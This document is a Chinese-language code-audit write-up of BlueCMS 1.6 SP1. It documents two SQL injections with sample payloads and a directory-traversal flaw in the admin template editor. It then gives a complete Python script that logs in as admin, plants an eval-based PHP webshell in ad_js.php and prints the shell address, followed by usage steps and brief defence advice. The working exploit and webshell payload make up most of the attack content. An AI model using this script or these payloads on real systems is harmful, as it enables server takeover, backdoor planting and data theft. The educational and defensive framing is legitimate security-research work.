bluecms1.6sp1代码审计+一键getshellpoc编写
字数 1396 2025-08-09 19:58:05
BlueCMS 1.6 SP1 代码审计与漏洞利用分析
一、环境准备与源码获取
源码地址:需自行获取 BlueCMS 1.6 SP1 版本
二、漏洞审计与分析
1. SQL注入漏洞1 (comment.php)
漏洞位置:uploads/comment.php
漏洞分析:
- 使用了未过滤的
$SERVER变量$ip - 虽然系统对
$GET、$POST、$REQUEST、$COOKIE进行了过滤,但未过滤$SERVER getip()函数从多个HTTP头获取IP地址,包括:- HTTP_CLIENT_IP
- HTTP_X_FORWARDED_FOR
- HTTP_X_FORWARDED
- HTTP_FORWARDED_FOR
- HTTP_FORWARDED
- REMOTE_ADDR
利用方式:
- 通过伪造HTTP头注入SQL语句
- 示例Payload:
1' and sleep(20) and '1'='1
2. SQL注入漏洞2 (ad_js.php)
漏洞位置:uploads/ad_js.php
漏洞分析:
- 虽然对输入进行了转义,但SQL语句不需要闭合引号
- 直接使用数字型注入
- SQL语句形式:
WHERE ad_id=1111
利用方式:
- 使用联合查询注入
- 示例Payload:
1 union select 1,2,3,4,5,6,(select database())
3. 任意文件读取与Getshell漏洞
漏洞位置:uploads/admin/tpl_manage.php
漏洞分析:
- 当
act=edit时,可通过参数tpl_name进行目录穿越 - 无任何过滤限制
- 可编辑任意模板文件,包括:
- user.php
- ann.php
- 其他模板文件
利用方式:
- 访问管理员后台
- 进入模板编辑功能
- 通过目录穿越修改任意模板文件
- 插入恶意代码如:
<?php phpinfo(); ?> - 访问修改后的文件执行代码
三、漏洞复现步骤
SQL注入1复现
- 构造包含恶意HTTP头的请求
- 观察响应时间或返回结果
SQL注入2复现
- 直接访问
ad_js.php并附加注入参数 - 使用联合查询获取数据库信息
任意文件读取+Getshell复现
- 登录管理员后台
- 访问
tpl_manage.php?act=edit&tpl_name=../../ad_js.php - 修改模板内容插入PHP代码
- 访问
uploads/ad_js.php验证执行
四、一键Getshell脚本编写
# author: soufaker
# time: 2021/7/23
import requests
import optparse
from lxml import etree
# 参数设置
parser = optparse.OptionParser()
parser.add_option('-u', '--url', action='store', dest="url")
parser.add_option('-a', '--username', action='store', dest="username")
parser.add_option('-p', '--password', action='store', dest="password")
options, args = parser.parse_args()
# 参数获取
url = options.url
username = options.username
password = options.password
# 登录数据
login_data = {
"admin_name": username,
"admin_pwd": password,
"submit": "登录",
"act": "do_login"
}
login_url = url + "/admin/login.php?act=login"
shell_url = url + "/admin/tpl_manage.php?act=edit&tpl_name=../../ad_js.php"
# payload(可自行更改)
shell_payload = "<?php @eval($_POST['cmd']) ?>"
# 获取登录cookie
session = requests.Session()
r = session.post(login_url, login_data, allow_redirects=False)
cookie = r.headers["Set-Cookie"]
# 设置具有admin会话的headers
headers = {
"Cookie": cookie,
"Content-Type": 'application/x-www-form-urlencoded'
}
# 获取模板原有内容
r2 = requests.get(shell_url, allow_redirects=False, headers=headers)
html = etree.HTML(r2.content)
# 设置修改编辑内容容器的xpath路径
select_xpath = '//textarea/text()'
# 获取容器对象
tpl_content = str(html.xpath(select_xpath))
# 拼接模板原有内容和payload
last_p = str(tpl_content + shell_payload)
# 构造提交数据
data2 = {
"tpl_content": last_p,
"tpl_name": "../../ad_js.php",
"act": "do_edit"
}
# 设置代理(可选)
proxies = {
"http": "http://localhost:8080"
}
# 提交修改
post = session.post(shell_url, data=data2, allow_redirects=False, headers=headers, proxies=proxies)
# 验证结果
if post.status_code == 200:
shell_url2 = url + '/ad_js.php'
print("成功getshell!, shell地址为: %s, 密码为: cmd" % shell_url2)
else:
print("getshell失败!请检查cms版本是否存在该漏洞!")
五、脚本使用说明
- 安装依赖:
pip install requests lxml - 运行脚本:
python script.py -u http://target.com -a admin -p password - 成功后会输出webshell地址
- 使用中国菜刀等工具连接,密码为
cmd
六、防御建议
- 对所有输入进行严格过滤,包括
$_SERVER变量 - 使用预处理语句防止SQL注入
- 对文件操作进行严格的路径检查
- 限制模板编辑功能,禁止目录穿越
- 对管理员后台加强访问控制
七、学习要点
- 代码审计中注意未过滤的输入点
- 关注
$_SERVER等不常用但可能危险的变量 - 模板编辑功能是常见的Getshell途径
- 自动化漏洞利用脚本的基本编写方法
- 漏洞验证时注意响应状态码和内容
通过本案例可以学习到从代码审计到漏洞利用的完整过程,适合安全研究人员和Web开发人员提高安全意识。